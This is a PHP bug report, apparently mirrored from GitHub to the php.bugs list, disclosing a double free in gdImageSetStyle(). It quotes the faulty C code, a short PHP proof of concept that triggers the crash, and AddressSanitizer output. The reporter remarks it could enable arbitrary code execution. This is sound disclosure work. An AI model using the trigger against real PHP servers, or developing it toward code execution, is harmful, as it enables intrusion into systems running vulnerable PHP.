[php-src] Issue #22121: Double free in `gdImageSetStyle()`
[email protected] (therealcoiffeur) Fri, 22 May 2026 10:33:34 +0000
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <oH5PaEl6xcN9Ghr5yJPLAiwL9q2A0eSEufy4kDNYUIE@main.internal.php.net> |
Issue: https://github.com/php/php-src/issues/22121
Author: therealcoiffeur
### Description
### Summary
`im->style` is freed at line 2883 but never set to `NULL`. When `overflow2(sizeof(int), noOfPixels)` returns true (i.e., `noOfPixels > INT_MAX / sizeof(int)`), the function returns at line 2886 with `im->style` still holding the now-freed pointer.
Two separate code paths will subsequently free the dangling pointer:
1. Next call to `gdImageSetStyle()`: line 2882 checks `if (im->style)`
(still non-NULL), then line 2883 calls `gdFree(im->style)` again.
2. GD object destructor: When the PHP `GdImage` object is GC'd,
`php_gd_image_object_free` (`gd.c:180`) calls `gdImageDestroy`, which hits
`if (im->style) { gdFree(im->style); }` at lines 265-266. This fires
automatically on `unset($im)` or script shutdown.
> Note:
> The explicit `imagedestroy()` call is deprecated since PHP 8.5 and has no
> direct effect. The double free comes from the destructor during PHP's GC
> sweep, not from imagedestroy()` itself.
### Vulnerable Source Code
```c
void gdImageSetStyle(gdImagePtr im, int *style, int noOfPixels)
{
if (im->style) {
gdFree(im->style); // frees old style -- no NULL assignment follows
}
if (overflow2(sizeof(int), noOfPixels)) {
return; // early return leaves im->style dangling
}
im->style = (int *) gdMalloc(sizeof(int) * noOfPixels);
memcpy(im->style, style, sizeof(int) * noOfPixels);
im->styleLength = noOfPixels;
im->stylePos = 0;
}
```
### How to Trigger
```php
<?php
$im = imagecreatetruecolor(1, 1);
imagesetstyle($im, [0]);
imagesetstyle($im, array_fill(0, 536870912, 0));
```
<u>Command:</u>
```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
```
In the POC, line 2 allocates `im->style`. Line 3 frees it and returns early
(overflow), leaving `im->style` dangling. Line 4 triggers the overflow. The
double free fires when PHP GC's `$im` at script end via
`php_gd_image_object_free` -> `gdImageDestroy` -> `gdFree(im->style)`.
<u>Output:</u>
```
Warning: imagesetstyle(): Product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully
in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f3/poc.php on line 4
=================================================================
==35745==ERROR: AddressSanitizer: attempting double-free on 0x602000007670 in thread T0:
#0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001044d123c in __zend_free zend_alloc.c:3571
#2 0x0001044d4f50 in _efree zend_alloc.c:2788
#3 0x00010346142c in php_gd_gdImageDestroy gd.c:266
#4 0x000103402794 in php_gd_image_object_free gd.c:180
#5 0x000104b88d30 in zend_objects_store_del zend_objects_API.c:193
#6 0x000104beef2c in rc_dtor_func zend_variables.c:56
#7 0x000104bef040 in i_zval_ptr_dtor zend_variables.h:44
#8 0x000104beef68 in zval_ptr_dtor zend_variables.c:83
#9 0x000104a83d74 in _zend_hash_del_el_ex zend_hash.c:1502
#10 0x000104a82cfc in _zend_hash_del_el zend_hash.c:1529
#11 0x000104a8bf94 in zend_hash_reverse_apply zend_hash.c:2245
#12 0x00010460c140 in shutdown_destructors zend_execute_API.c:259
#13 0x000104c07f78 in zend_call_destructors zend.c:1339
#14 0x00010425ee4c in php_request_shutdown main.c:1983
#15 0x000104c11808 in do_cli php_cli.c:1166
#16 0x000104c0e0cc in main php_cli.c:1370
#17 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x602000007670 is located 0 bytes inside of 4-byte region [0x602000007670,0x602000007674)
freed by thread T0 here:
#0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001044d123c in __zend_free zend_alloc.c:3571
#2 0x0001044d4f50 in _efree zend_alloc.c:2788
#3 0x0001034696cc in php_gd_gdImageSetStyle gd.c:2883
#4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
#5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#6 0x000104636194 in execute_ex zend_vm_execute.h:110168
#7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
#8 0x000104c09350 in zend_execute_script zend.c:1971
#9 0x0001042624f4 in php_execute_script_ex main.c:2646
#10 0x000104262a64 in php_execute_script main.c:2686
#11 0x000104c0fb0c in do_cli php_cli.c:947
#12 0x000104c0e0cc in main php_cli.c:1370
#13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
previously allocated by thread T0 here:
#0 0x000107e14e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
#1 0x0001044d5560 in __zend_malloc zend_alloc.c:3543
#2 0x0001044d4e24 in _emalloc zend_alloc.c:2778
#3 0x00010346970c in php_gd_gdImageSetStyle gd.c:2888
#4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
#5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#6 0x000104636194 in execute_ex zend_vm_execute.h:110168
#7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
#8 0x000104c09350 in zend_execute_script zend.c:1971
#9 0x0001042624f4 in php_execute_script_ex main.c:2646
#10 0x000104262a64 in php_execute_script main.c:2686
#11 0x000104c0fb0c in do_cli php_cli.c:947
#12 0x000104c0e0cc in main php_cli.c:1370
#13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
SUMMARY: AddressSanitizer: double-free zend_alloc.c:3571 in __zend_free
==35745==ABORTING
[1] 35745 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
```
> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-2233-r24f-4m45 is not part of PHP's threat model (which is wrong, but that's not my call).
> "This is a bug, but not a security issue. Please report as a regular issue."
### PHP Version
```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```
### Operating System
_No response_